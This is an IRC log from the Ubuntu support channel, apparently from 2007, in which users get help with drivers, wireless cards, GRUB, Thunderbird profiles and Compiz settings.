[04:45] <demolitio> when you restore thunderbird profiles, do you first have to make a new account in thunderbird, THEN copy the profiles over?
[04:45] <gerro> mb_au: sorry I was afk out to lunch, your comment about wine
[04:45] <Vito85> w
[04:45] <demolitio> for some reason, thunderbird doesnt see my backup :P
[04:45] <zetheroo> Frogzoo: whats the command to uninstall the fglrx drivers?
[04:45] <nb_au> Poz: u need to enable microphone capture, which can be found where i just told u to go
[04:45] <Poz> i id its urned up
[04:46] <nb_au> gerro: ahhh, its great, but yeah, not perfect
[04:46] <rafaelscj> do you like fluxbox/blackbox?
[04:46] <nb_au> Poz: uve turned up the playback, go into preferences
[04:46] <Poz> do i set my preference to voulim, in gain, in line ?
[04:46] <gerro> mb_au: windows isn't perfect though either. Least with wine you can run older applications and newer ones such as vista. That is something windows products themself can not boast. Likewise you'll need codecs, fonts, etc etc just like your linux install though :)
[04:47] <Jowi> demolitio, I think that all you need to do is to point Path= in .mozilla-thunderbird/profiles.ini to your folder.
[04:47] <nb_au> Poz: go into preference, enable microphone capture, then enable it wherever it placed itself, then ur done
[04:47] <PgL|Neocid> I have a TEW-423PI ( trendnet ) wifi card installed in my computer, but when I type iwconfig I got no wlan, is it normal ?
[04:47] <nb_au> gerro: true, main prob is compatibility
[04:48] <john8618> hello guys and girls. new to the forum and new to linux. having a problem from the start. keep getting the msg tty failed to load when i try and install from the disc. tried 'F6... acpi=off' but no luck. any ideas???
[04:48] <nb_au> PgL|Neocid: your wifi probably isnt recognised, ull need ndiswrapper to get it going
[04:48] <nb_au> john8618: its a kernel prob, ask mc44
[04:48] <demolitio> Jowi: .mozilla-thunderbird ? I thought the folder was .thunderbird? maybe that's why it's not seeing my profiles :P
[04:48] <Jowi> PgL|Neocid, I get no wlan either. but then again, it is not activated.
[04:48] <retep> Hello all, does anyone know how to add udf 2.5 support to feisty?
[04:49] <gerro> mb_au: compatibility as in stuff the developers of wine worry about?
[04:49] <PgL|Neocid> nb_au: Ndiswrapper is installed, and the pilot is installed to, but my device isn't recognize
[04:49] <hadrielmac> wine is a little project...
[04:49] <ajisin> hey! a kul flash animation a game too http://dura.cell.free.fr/home/swf/arms12.swf
[04:49] <Jowi> demolitio, /home/user/.mozilla-thunderbird/ on my edgy install at least
[04:49] <rafaelscj> !udf
[04:49] <ubotu> Sorry, I don't know anything about udf - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:49] <nb_au> PgL|Neocid: using the right drivers?
[04:49] <dgjones> !offtopic | ajisin
[04:49] <ubotu> ajisin: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[04:49] <Wips> Is there a new ubuntu version coming up soon?
[04:49] <gerro> Neocid: did you grab the latest ndiswrapper and compile it also remembering to remove previous installs such as default one that comes with ubuntu?
[04:49] <hadrielmac> hey, with my nvidia i can run call of duty2, dawn of war and some games
[04:49] <PgL|Neocid> nb_au: yes using x64 driver got in constructor site ( amd 64 my proc )
[04:49] <hadrielmac> with wine/cedega
[04:49] <gerro> Neocid: you'll need to find your card on the ndiswrapper list and get its configurations
[04:49] <nb_au> gerro: once its got near full support, then it'll be perfect
[04:50] <praet> PgL|Neocid: here
[04:50] <ajisin> i knw k........
[04:50] <nb_au> hadrielmac: i run oblivion with mine :P
[04:50] <demolitio> Jowi: LOL THERE's the folder... and all this time i've been putting it in .thunderbird :D
[04:50] <PgL|Neocid> gerro: I have installed ndiw on a new install of ubuntu, no previous ndiswrapper installed
[04:50] <hadrielmac> check this (for french) http://ancarion.free.fr/blog/?p=16
[04:50] <PgL|Neocid> gerro: where ?
[04:50] <gerro> Neocid: there IS a previous ndiswrapper installed remove it
[04:50] <gerro> Neocid: follow the readme with ndiswrapper source it explains
[04:50] <hadrielmac> all of the games i can run on my debian sid
[04:50] <PgL|Neocid> gerro: no I got no answer when I search for a previous version
[04:50] <jgb> why is there no .jigdo file for ubuntu-7.04-desktop-i386.iso ?
[04:50] <demolitio> so much for using mozilla.org for the locations :D
[04:51] <PgL|Neocid> gerro: ndiswrapper: no command found :p
[04:51] <Jowi> demolitio, don't cheer until thunderbird runs without complaints:)
[04:51] <rafaelscj> !aide
[04:51] <ubotu> Sorry, I don't know anything about aide - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:51] <demolitio> Jowi: lol...
[04:51] <nb_au> jgb: coz jigdo is eeeeeevil :P
[04:51] <rafaelscj> !ids
[04:51] <ubotu> Sorry, I don't know anything about ids - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:51] <gerro> Neocid: http://ndiswrapper.sourceforge.net/joomla/index.php?/component/option,com_openwiki/Itemid,33/id,list/
[04:51] <Troy23> i have an intel video card, but when i run "sudo apt-get install xserver-xorg-video-intel" it says cannot find package
[04:51] <gosha> How do I add the "mpd" user to the "plugdev" group
[04:51] <gosha> ?
[04:51] <PgL|Neocid> gerro: i'am looking at it.
[04:52] <Jowi> !info xserver-xorg-video-intel
[04:52] <ubotu> xserver-xorg-video-intel: X.Org X server -- Intel i8xx, i9xx display driver. In component universe, is optional. Version 2:1.9.94-1ubuntu3 (feisty), package size 183 kB, installed size 492 kB (Only available for alpha amd64 arm armeb armel hppa hurd-i386 i386 ia64 kfreebsd-i386 m68k mips mipsel netbsd-i386 powerpc)
[04:52] <gerro> Troy23: what driver does /etc/X11/xorg.conf list?
[04:52] <Augustus_Kolya> JIGDO! LOLerz!
[04:52] <Augustus_Kolya> :P
[04:52] <praet> Troy23: Make sure you have universe enabled
[04:52] <Jowi> Troy23, you need to use the universe repo
[04:52] <jgb> erm
[04:52] <Augustus_Kolya> what is that, like the umpteen hojillionth way to get Debian?
[04:52] <pike_> Troy23: apt-cache search xserver-xorg and pick the package you need
[04:52] <Augustus_Kolya> without the 23 CD's?
[04:53] <gerro> Neocid: even if you enter ndiswrapper command and it doesn't show up doesn't mean its not installed. ubuntu comes with a very limited ndiswrapper to try to automatically configure your card
[04:53] <jgb> what should I be using instead of jigdo, then?
[04:53] <Troy23> praet: how
[04:53] <vl_ado> how do you find the real ip of your computer in ubuntu through a router in terminal?
[04:53] <praet> Troy23: see System > Administration > Software sources (check universe, multiverse)
[04:53] <gerro> jgb: hehe jigdo what kinda app call itselff jigdo
[04:53] <nb_au> jgb: bittorrent is the more universal solution
[04:53] <gerro> vl_ado: ifconfig
[04:54] <vl_ado> no it gives me the router ip address
[04:54] <vl_ado> i need my real
[04:54] <Kr0ntab> vl_ado, if you have links2 installed you can visit www.whatismyip.com in the console based browser
[04:54] <praet> vl_ado: whatismyip.com
[04:54] <gerro> vl_ado: google for "what is my ip" then
[04:54] <jgb> nb_au: we've got the whole ubuntu repository mirrored at my campus, and bandwidth is expensive
[04:54] <Wips> Is there a new ubuntu version coming up soon?
[04:54] <PgL|Neocid> gerro: , ok  it seems my card is not in the list, but I saw many ppl who succed to install there driver with it. and when they type iwconfig they got their wlan0 :(, I'll try to uninstall ndiswrapper and install it back
[04:54] <gerro> vl_ado: or enter your router's ip address as listed in ifconfig and try to bring up its http page to find out its global address
[04:55] <AdvoWork> hi there. has anyone here used ekiga ?
[04:55] <Jowi> vl_ado, no, ifconfig will list your NIC ip address (inet addr:).
[04:55] <vl_ado> gerro that is the final answer?
[04:55] <vic[1] > Can sum1 point me to where to dwnld ubuntu 6.10 ?
[04:55] <gerro> Neocid: what card is it? can you do lshw as root and paste it to pastebin.ubuntu.com
[04:55] <dgjones> !gutsy | Wips
[04:55] <ubotu> Wips: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[04:55] <Wips> dgjones, can I somewhere read about it?
[04:56] <PgL|Neocid> gerro: card is 54Mbps 802.11g Wireless PCI Adapter
[04:56] <PgL|Neocid> TEW-423PI
[04:56] <gerro> vic: what for? 7.04 is the stable one
[04:56] <demolitio> Jowi: UGGH... good thing I heeded your advice. now the blasted program keeps replacing my profiles.ini file and creating another default folder :p
[04:56] <epiclulz> what's a good software for linux for burning dvds/cds?
[04:56] <Kr0ntab> vl_ado, are you trying to see your private ip of the computer or the public on the router?
[04:56] <praet> vl_ado: [wget www.whatismyip.com/automation/n09230945.asp -O- 2>/dev/null |grep "."] 
[04:56] <vic[1] > OK. Thanx.
[04:56] <gerro> praet: sweet script
[04:56] <Jowi> vl_ado, if it is connected to a router you will see the ip address that the router gave your computer. if you want the *public* ip address you can see that in your router setup page.
[04:56] <nb_au> epiclulz: any :P
[04:56] <gosha> oh, gpasswd -a "mpd" plugdev .... hmm
[04:56] <praet> gerro: thanks :)
[04:57] <gerro> praet: have to stash that in my bag of goodies for rainy day troubleshooting
[04:57] <xamox> can anyone suggest any wireless tools for dapper? For some reason I can't ever see any access points? Like it will work randomly for me. I've tried things like iwlist and manually entering the SSID, but no luck.
[04:57] <gerro> xamox: wifi-radar
[04:58] <gosha> !info nawk
[04:58] <gerro> Neocid: info you gave me isn't enough to determine anything about it
[04:58] <gosha> :'(
[04:58] <Jowi> !info network-manager-gnome dapper
[04:58] <ubotu> Package nawk does not exist in feisty, feisty-seveas
[04:58] <degrit> I am trying to understand what Metacity exactly is - do I understand correctly that it's nothing more than a desktop theme manager ?
[04:58] <gerro> Neocid: TEW-423PI might be useful.. which company makes the card?
[04:58] <PgL|Neocid> gerro: can't past my root i'am not under linux
[04:58] <Nyle> I need a doovde player
[04:58] <ubotu> network-manager-gnome: network management framework (GNOME Frontend). In component main, is optional. Version 0.6.2-0ubuntu7 (dapper), package size 234 kB, installed size 1556 kB
[04:58] <demolitio> Jowi: whoops... fixed it.. maybe I should change "isrelative" to "0", as the mozilla howto insists :P
[04:58] <demolitio> Jowi: *shouldnt
[04:58] <livingdaylight> Saludos Ubunteros!!!
[04:59] <neverblue> nano doesnt wrap lines automatically, how would I 'make it so'
[04:59] <PgL|Neocid> gerro: trendnet you can find the full detail there http://www.trendnet.com/fr/products/TEW-423PI.htm
[04:59] <rafaelscj> !pidgin
[04:59] <Jowi> xamox, network-manager-gnome
[04:59] <livingdaylight> i wanted to ask about pigeon
[04:59] <nb_au> degrit: Metacity (pronounced to rhyme with "capacity" with the stress on the second syllable[1] ) is a compositing window manager used by default in the GNOME desktop environment.[2] 
[04:59] <PgL|Neocid> gerro: can we make a private chat ?
[04:59] <gosha> what happened to ubotu ?
[04:59] <ubotu> pidgin is the new name for Gaim forced by AOL's legal dept. It wasn't released in time for Feisty. Expect it in gutsy. See http://www.pidgin.im/index.php for more info.
[04:59] <dgjones> Wips, http://www.ubuntu.com/testing/tribe5
[04:59] <livingdaylight> i have gaim in ubuntu but i hear pigeon is the new name... can we only expect that in gutsy in october onwards?
[05:00] <Jowi> demolitio, cool
[05:00] <degrit> nb_au: yes I've read that on several websites a few minutes ago - is it just a desktop theme manager then :)
[05:00] <livingdaylight> aha...
[05:00] <neverblue> livingdaylight, you can get Pidgin befor waiting for Gutsy
[05:00] <rafaelscj> is pidgin in the ubuntu 7.04 repositorys? no?
[05:00] <Amaranth> neverblue: wtf was that?
[05:00] <degrit> nb_au: I am trying to make sense of metacity, compiz and so on
[05:00] <neverblue> Amaranth, watch it :)
[05:00] <dgjones> livingdaylight, yes, that sounds about right, although pidgin is available on getdeb.net
[05:00] <Amaranth> neverblue: it's been around a _long_ tme
[05:00] <Amaranth> neverblue: why are you spamming us?
[05:00] <livingdaylight> rafaelscj, you answer my question
[05:00] <demolitio> so note to everyone: don't trust http://www.mozilla.org/support/thunderbird/profile#move when you're migrating a mail folder from windows to linux :P
[05:01] <neverblue> Amaranth, spam ?
[05:01] <neverblue> Amaranth, its a amusing
[05:01] <livingdaylight> neverblue, i don't see it in repos
[05:01] <Hadeshorn> !ati
[05:01] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[05:01] <xamox> Jowi, I have network-manager-gnome installed, what is the command to run it?
[05:01] <FoR_FuN> hello
[05:01] <livingdaylight> sanx dgjones
[05:01] <Amaranth> neverblue: you join, paste something we don't care about, then leave right away
[05:01] <rafaelscj>  livingdaylight: :)
[05:01] <TDPJG> HELLO AMERICANS I LOVE USA!!
[05:01] <Ward1983> does anyone know a good program that can make any window fullscreen? (preferably without borders)
[05:01] <nb_au> livingdaylight: istat getdeb.com
[05:01] <Floating> Anyone know why i get the following error "dpkg-arcitechture: not found" when trying to install new ATI drivers? i dont have fglrx installed yet
[05:01] <neverblue> livingdaylight, yeah, you have to download the .deb in another location, dgjones gave you the link
[05:01] <Amaranth> xamox: nm-applet --sm-disable &
[05:01] <Jowi> xamox, you simply need to log out and log in again. for some strange reason I needed to reboot the computer but that should not be necessary.
[05:01] <PgL|Neocid> gerro: it appear I can't see privat chat...hmmm
[05:01] <Ward1983> i mean preferably without the window borders
[05:02] <nb_au> TDPJG: I LOVE AUSTRALIA ;)
[05:02] <neverblue> Amaranth, i think your taking my fun a bit too 'personally' :)
[05:02] <livingdaylight> neverblue, yea... thats cool... we'll see how stable that is, lol, i've had a few packages from there crash already...
[05:02] <demolitio> I AM CANADIAN! (lol)
[05:02] <neverblue> livingdaylight, works fine here
[05:02] <Jowi> xamox, or you can try what Amaranth said :)
[05:02] <TDPJG> HELLO BRUCE
[05:02] <Pici> !offtopic
[05:02] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[05:02] <nb_au> livingdaylight: its 100% stable
[05:02] <nb_au> TDPJG: bruce?
[05:02] <Jowi> demolitio, my heart goes out to you ;)
[05:02] <demolitio> ...and I hate molsen :P
[05:02] <Ward1983> does anyone know a good program that can make any window fullscreen? (preferably without window borders)
[05:02] <rafaelscj> pidgin isn't at ubuntu 7.04's repository, right?
[05:02] <demolitio> lol
[05:02] <livingdaylight> the www.screencasts.ubuntu.com are great screencasts abut they are all in gutsy so, making us lesser mortals drool
[05:03] <livingdaylight> nb_au, sanx for assuring me... they're not all stable on there... that's for sure
[05:03] <TDPJG> ola amiguinhos i lve u all
[05:03] <praet> Ward1983: you can write window manager rules in compiz and not use a window decorator :)
[05:03] <nb_au> rafaelscj: no it isnt
[05:03] <Ward1983> praet, lol the way i do it now is just zoom in with compiz-fusion
[05:04] <Floating> sudo apt-get install xorg-driver-fglrx   - it askes for cdrom but when i put it in nothing happens ?
[05:04] <nb_au> livingdaylight: yeah ive been using it a few days now with no problems at all :)
[05:04] <nb_au> Floating: pressed enter?
[05:04] <praet> Ward1983: ah neat
[05:04] <livingdaylight> neverblue, should i uninstalll gaim first in feisty or will pigeon installation take care of it?
[05:04] <Ward1983> praet, so i can make it zoom to the same spot, allways?
[05:04] <j0hn_> !mouse j0hn_
[05:04] <livingdaylight> nb_au, did you first uninstall gaim?
[05:04] <ubotu> Sorry, I don't know anything about mouse j0hn_ - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[05:04] <Ward1983> praet, and then i can even switch of the decorations for that window?
[05:04] <neverblue> livingdaylight, run both of them :)
[05:04] <nb_au> livingdaylight: dont worry about it, i left gaim on and just removed shortcuts
[05:04] <j0hn_> !mouse
[05:04] <ubotu> Enabling extra mouse buttons: https://help.ubuntu.com/community/ManyButtonsMouseHowto  - Enabling serial mouse: https://help.ubuntu.com/community/SerialMouseHowto
[05:05] <livingdaylight> ic... sanx guys! you're de best!
[05:05] <praet> Ward1983: maybe ezoom (enhanced zoom) Super+R
 yes i pressed enter many times
[05:05] <Floating> still asks for the same cd
[05:05] <PgL|Neocid> gerro: try to convo me, I registered
[05:05] <Ward1983> praet, but what did you say first with the window manager rules, how does that work? i'm talking about that
[05:05] <Floating> ubuntu 7.04_Feisty Fawn - release amd64
[05:06] <vl_ado> ov3rsite
[05:06] <nb_au> Floating: sure u havent got a different version of the install (x86, or the amd64 alt.)
[05:06] <Floating> yes i used this cd to install all the way
[05:06] <lostallhope> anyone got knowledge of a good how to for an ati mobility card and Wine
[05:06] <neverblue> livingdaylight, np :)
[05:06] <lostallhope> how to make them actually work and let me play
[05:07] <neverblue> lostallhope, !wine and !ati, and check in #winehq
[05:07] <rafaelscj> how can I change the standard init level?
[05:07] <lostallhope> what the ! stand for
[05:07] <praet> Ward1983: ok you should have Rexex matching enabled and then find Window Rules plugin, add the regmatch (like name=nautilus) to the Fullscreen option.
[05:07] <neverblue> lostallhope, it commands the channel bot
[05:07] <neverblue> like so:
[05:07] <neverblue> !ati | lostallhope
[05:07] <ubotu> lostallhope: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[05:08] <Floating> gah - cant install new ati drivers untill i got fglrx installed and cant install that due an error in the alternate 64bit cd it seems
[05:08] <neverblue> ;)
[05:08] <Ward1983> praet, that's chinese for me
[05:08] <lostallhope> i c
[05:08] <praet> Ward1983: start again. open ccsm. Go to the search bar on the left and type in "rule"
[05:08] <Ward1983> ok
[05:09] <rafaelscj> how can I change the default init level at startup?
[05:09] <praet> Ward1983: click that Window rules plugin button to enter its settings.  then scroll down to fullscreen and add "name=nautilus" there
[05:09] <Ward1983> praet, thanx, i'll try if that works
[05:09] <neverblue> rafaelscj, a bit offtopic, but possibly try apropos
[05:09] <praet> Ward1983: k
[05:09] <neverblue> rafaelscj, in a command line
[05:10] <doug__> how do i get the dvd menu to show up when i put in a dvd
[05:10] <zetheroo> can someone pleas help me....
[05:10] <zetheroo> (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work
[05:10] <zetheroo> whats wrong here?
[05:10] <rafaelscj> neverblue, /etc/init.d? or what?
[05:10] <gerro> Neocid: I didn't register try to use /join
[05:10] <Seveas> zetheroo, did you mess with manually installing ati drivers?
[05:10] <xamox> gerro, Thanks, wifi-rader was exactly what I was looking for
[05:10] <gordonjcp> zetheroo: sounds like you're using the wrong combination of fglrx and kernels
[05:11] <neverblue> rafaelscj, apropos init, gives you a listing of all commands using the word 'init'
[05:11] <zetheroo> Seveas: I dunno
[05:11] <zetheroo> how do I know what I have and what I should have?>
[05:11] <rafaelscj> neverblue, okay
[05:11] <neverblue> probably man init would assist as well :)
[05:12] <Seveas> zetheroo, then you probably haven't :)
[05:12] <Seveas> zetheroo, is the linux-generic package installed?
[05:12] <zetheroo> Seveas: I dunno
[05:12] <Ward1983> praet, how do i know what name my window has?
[05:12] <Seveas> zetheroo, then check it :)
[05:12] <zetheroo> Seveas: I am pretty new to this all
[05:12] <Ward1983> praet, i tried several logical names but it doesnt work
[05:12] <rafaelscj> neverblue, I think there a gui app that do that, but I forgot it's name
[05:12] <zetheroo> Seveas: but I have tried heaps of how-tos
[05:13] <Seveas> zetheroo, in a terminal, run this command: sudo apt-get install linux-generic
[05:13] <Ward1983> praet, and its an application thats not accessable from anywhere, maybe thats the problem
[05:13] <Ward1983> praet, and its an application thats not accessable from anywhere, maybe thats the problem
[05:13] <Ward1983> sorry
[05:13] <shooters> If I want to find all files in a directory modified before Dec 31, 2006, how would I do it using the find command?
[05:13] <zetheroo> Seveas: its installing
[05:13] <ikonia> shooters find -mtime
[05:14] <zetheroo> Seveas: now that its installed what do I do?
[05:14] <Seveas> zetheroo, when it's installed: reboot
[05:14] <zetheroo> ok
[05:14] <Ward1983> praet, by that i mean, an application i cant just start by typen its name in the terminal, i need to actually type the containing map in front of it to start it
[05:14] <neverblue> rafaelscj, System->Admin->System Monitor
[05:14] <[nrx] > hi!
[05:14] <Frack-Hesse> in what language is the ubotu bot implemented? :O
[05:14] <Seveas> Frack-Hesse, python
[05:14] <gerro> xamox: no prob, enjoy.
[05:15] <[nrx] > guys, i'm having network issues _again_
[05:15] <Frack-Hesse> Seveas: gr8 :D where can i get the source?
[05:15] <Seveas> !ubotu | Frack-Hesse
[05:15] <ubotu> Frack-Hesse: I am ubotu, all-knowing infobot. You can browse my brain at http://ubotu.ubuntu-nl.org/factoids.cgi - Usage info: http://wiki.ubuntu.com/UbuntuBots
[05:15] <praet> Ward1983: ok start the app right. then in a terminal type [xprop]  and clcik on the running app. It will give you a bunch of info including class etc.
[05:15] <gerro> xamox: if your card has native support (not ndiswrapper) might want to try kismet too its kinda nice there even gui now I think
[05:15] <shooters> ikonia: -mtime "n", but isn't there a way to enter the date directly, rather than convert it in days?
[05:15] <[nrx] > i've come home to find that the wireless connection isn't working. It was working 45 minutes ago at the office!
[05:15] <praet> Ward1983: and then you can use class=blah
[05:15] <[nrx] > can anyone help me diagnose this?
[05:15] <ikonia> shooters there used to be a -date option, but I don't  know if thats in the gnu implimentation
[05:16] <linux__alien> Can someone here please tell me how to recover grub in Ubuntu. I tried everything i could to recover but i dont get it at all but i ve ubuntu installed in a particular partition
[05:16] <Ward1983> praet, thanx i'll try
[05:16] <neverblue> !ask | [nrx] 
[05:16] <shooters> ikonia: and what's the command to tell the numbers of days between two dates?
[05:16] <ubotu> [nrx] : Don't ask to ask a question. Just ask your question :)
[05:16] <Seveas> neverblue, he did ask....
[05:16] <[nrx] > neverblue, i already asked the question. what you saw was the tail end
[05:16] <neverblue> oh :P
[05:16] <[nrx] > tyvm
[05:16] <ikonia> shooters maths
[05:16] <gerro> nrx: what encryption, network type, mode, tunneling, address scheme. You using?
[05:16] <ikonia> shooters just do the maths, use xcalc or somthing like that
[05:17] <Ward1983> praet, just to make sure, its this line right?
[05:17] <Ward1983> WM_CLASS(STRING) = "remotejoy", "remotejoy"
[05:17] <shooters> ikonia: I need to do it in a script...
[05:17] <ikonia> shooters you can still do the maths
[05:17] <[nrx] > gerro, here's the scenario. I've just come home from work. the laptop was running fine on the work wireless network. i've come home, changed the ssid and wep key.. and it just doesn't work
[05:17] <gerro> nrx: can you pastebin some specs from ifconfig, lspci and /etc/network/interfaces to pastebin.ubuntu.com?
[05:17] <Pici> shooters: #bash would be a better place to ask about this.
[05:17] <praet> shooters: date -d "today +3 days +6 hours +15 minutes"
[05:17] <Seveas> shooters, I use python for that
[05:17] <Seveas> dennis@mirage:~$ python -c "import datetime; print datetime.date(2007,9,21) - datetime.date(2006,5,4)"
[05:17] <Seveas> 505 days, 0:00:00
[05:17] <[nrx] > not without spending hours with notepad :/
[05:17] <gerro> nrx: different wep key length perhaps
[05:17] <neverblue> whats notepad :)
[05:17] <praet> Ward1983: yep try that. you may need to restart compiz [compiz --replace] 
[05:17] <ikonia> Seveas you love python too much ;)
[05:18] <linux__alien> can some one here please help me ?
[05:18] <Seveas> ikonia, :)
[05:18] <codeane> i would like to setup an imap mail server on 7.04 server, any pointers?
[05:18] <praet> !ask > linux__alien
[05:18] <gerro> nrx: try turnning off all network connections (ethernet wireless etc) then bring up wireless see if that works
[05:18] <Ward1983> praet, ok
[05:18] <Seveas> codeane, apt-get install dovecot, read documentation :)
[05:18] <zetheroo> Seveas: what should I do now?
[05:18] <[nrx] > okay
[05:18] <axm> hi, i after some messing with /dev/cdrom my cd-rom drive automatically opens after closing it. tried a reboot. any pointers for what keywords i shood look?
[05:18] <linux__alien> praet: i ve already asked my question
[05:18] <ikonia> codeane https://help.ubuntu.com - loads of guides
[05:18] <[nrx] > i'll try it just now.. 2 ticks
[05:18] <Seveas> zetheroo, does it work?
[05:18] <Grungebunny> what is the website where you can dump your pastes for others to view?
[05:18] <Seveas> !pastebin | Grungebunny
[05:18] <ubotu> Grungebunny: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[05:18] <codeane> thx
[05:18] <gerro> nrx: also make sure no numbers in your wirless network name or maybe its just numbers at start of it. I dunno but that screwed me up before
[05:19] <Ward1983> praet, that doesnt work
[05:19] <praet> linux__alien: http://ubuntuforums.org/showthread.php?t=24113
[05:19] <linux__alien> praet: i want to recover my grub so tried the help in Ubuntu Website but still nothing works
[05:19] <zetheroo> Seveas: zeth@T60-Ubuntu:~$ glxinfo |grep direct direct rendering: No OpenGL renderer string: Mesa GLX Indirect
[05:19] <ikonia> linux__alien what have you done so far
[05:19] <[nrx] > my wireless network at home is "MoOoOoOoOooO"
[05:19] <Ward1983> praet, i filled in with fullscreen: "name=appname" without the quotes, appname being my application
[05:19] <neverblue> rafaelscj, doesnt look like that will do init levels, sorry
[05:19] <Seveas> zetheroo, ok, pastebin your xorg.conf please
[05:19] <Seveas> !pastebin | zetheroo
[05:19] <ubotu> zetheroo: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[05:20] <zetheroo> pastebin?
[05:20] <Ward1983> loool
[05:20] <praet> Ward1983: and that rules pluing is enabled right? Did you restart compiz?
[05:20] <Ward1983> praet, yes i restarted and its enabled, but i'll doublecheck
[05:20] <linux__alien> praet: the steps that are mentioned there like giving sudo grub and doing setup(hd0) does not work for me
[05:20] <linux__alien> praet: could you please help me in this regard?
[05:21] <ikonia> linux__alien what ahve you done so far
[05:21] <Ward1983> praet, yep everything should be ok
[05:21] <zetheroo> Seveas: http://paste.ubuntu-nl.org/37318/
[05:21] <brenoman> hi.. can anybody help me to configure my keyboard::::
[05:21] <rafaelscj> neverblue, all right, the app I was speaking about works with a large number of distros... i will try synaptics
[05:21] <brenoman> how i do to the os detect it::
[05:21] <brenoman> anyone::
[05:21] <nua> Hi, I'm using a USB Audio device for my sound, movies and music plays fine through it but I don't get any of the gnome sounds when I log in etc
[05:21] <brenoman> i already googled it
[05:21] <linux__alien> praet: http://paste.ubuntu-nl.org/37319/
[05:22] <zetheroo> Seveas: I made that xorg file manually
[05:22] <ikonia> !enter >brenoman
[05:22] <linux__alien> i ve pasted my fdisk -l output also
[05:22] <neverblue> rafaelscj, sorry I could be more help
[05:22] <[nrx] > gerro, that didn't work :(
[05:22] <konam> someone can tell me how to concatenate several .avi files with mencoder. I know is something like 'mencoder video1.avi video2.avi -o finalvideo.avi' but something is missing...
[05:22] <neverblue> nano doesnt wrap lines automatically, how would I 'make it so'
[05:22] <zetheroo> Seveas: becasue the automatically generated one was not working either
[05:22] <ikonia> linux__alien which device is your boot disk, disk a or b
[05:22] <praet> linux__alien: yikes.
[05:22] <mahatma> hello; anyone can confirm they got openwengo to use a separate ringing device?.
[05:22] <linux__alien> praet: when i give setup(hd0) it says cannot mount selected partition
[05:23] <ikonia> linux__alien the grub options should be setup (hd1,1)
[05:23] <nua>  Hi, I'm using a USB Audio device for my sound, movies and music plays fine through it but I don't get any of the gnome sounds when I log in etc
[05:23] <ikonia> linux__alien forget that - my mistake
[05:23] <Seveas> zetheroo, could you pastebin /var/log/Xorg.0.log ?
[05:23] <Stwange> can anyone give me a hand? I tried setting up my wifi using ACX100 driver, I put these commands in: http://pastebin.com/d6d727c67 and now I've got no connection at all (not even wired). I'm guessing it's because I stopped NetworkManager, but I was hoping it would all be for a greater good. If you can help, please bold my nick when you're replying, or PM me - I'm using the Windows box and mIRC is pretty crap for telling you when people are talking to you. T
[05:23] <zetheroo> Seveas: grep EE /var/log/Xorg.0.log (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (II) Loading extension MIT-SCREEN-SAVER (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work
[05:23] <praet> yes follow what ikonia posted
[05:23] <ikonia> linux__alien the grub options should be root (hd1,1) and setup (hd0)
[05:23] <praet> linux__alien: you need to have grub point to the rigth partition
[05:23] <brenoman> !enter
[05:23] <ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[05:23] <brenoman> ikonia: i didnt got it
[05:24] <degrit> on Feisty: System -> Preferences -> Desktop Effects pops a window up saying "The composite extension is not available" - what does it mean ?
[05:24] <[nrx] > gerro, that didn't work :(
[05:24] <ikonia> brenoman you type a few words, then press enter, then a few more, then press enter, type your question, then press enter
[05:24] <linux__alien> ikonia: is this right? i get the following output http://paste.ubuntu-nl.org/37320/
[05:24] <linux__alien> ikonia: just let me know whether this is right?
[05:24] <Seveas> degrit, problbly that your video card driver doesn't support desktop effects
[05:24] <zetheroo> Seveas: http://paste.ubuntu-nl.org/37321/
[05:24] <Seveas> zetheroo, the entire file please
[05:24] <degrit> what effects would these be ?
[05:25] <ikonia> linux__alien looks good
[05:25] <zetheroo> Seveas: thats it.... no?
[05:25] <brenoman> frescura
[05:25] <Seveas> zetheroo, als pastebin the output of dpkg -l 'xorg-* linux-*'
[05:25] <Seveas> zetheroo, that should be: dpkg -l '*xorg-* linux-*'
[05:26] <axm> i after some messing with /dev/cdrom my cd-rom drive automatically opens after closing it. tried a reboot. any pointers for what keywords i shood look?
[05:26] <linux__alien> ikonia: let me try this time
[05:26] <Ward1983> praet, any more suggestions?
[05:26] <gerro> nrx: did you paste output of those 3 commands? What is the link?
[05:27] <gerro> nrx: ethernet works okay though right?
[05:27] <[nrx] > gerro, i can't paste the results of the files because there's no connection
[05:27] <gerro> nrx: also did you do any kernel updates? If you compiled something like ndiswrapper you will have to recompile if the kernel was updated so I hope you saved the driver configurations
[05:27] <[nrx] > gerro, no updates or anything.
[05:27] <gerro> nrx: save it to floppy or usb
[05:28] <[nrx] > gerro, I was at work 1 hour ago. It was working fine there. I've come home, it's not working here
[05:28] <zetheroo> Seveas: my Xorg.0.log -- http://paste.ubuntu-nl.org/37322/
[05:28] <Crippy-Boy> Hey guys
[05:28] <gerro> nrx: is it set to use dhcp?
[05:28] <Crippy-Boy> I seem to remember there was a meta package for the gtk+ headers and other things, I can't remember the name, anyone know?
[05:29] <gerro> Crippy-Boy gtk+ headers and other things -dev...?
[05:29] <[nrx] > gerro, no static
[05:29] <samyboy> hi there, I cannot switch resolution wisth Ctrl+Alt+keypad(+|-) since edgy upgrade. any way to enable this again ?
[05:29] <samyboy> %s/wisth/switch/
[05:29] <Crippy-Boy> gerro, Forget the </sarcasm> there? :)
[05:29] <gerro> nrx: try dhcp out just to elminate other variables from situation
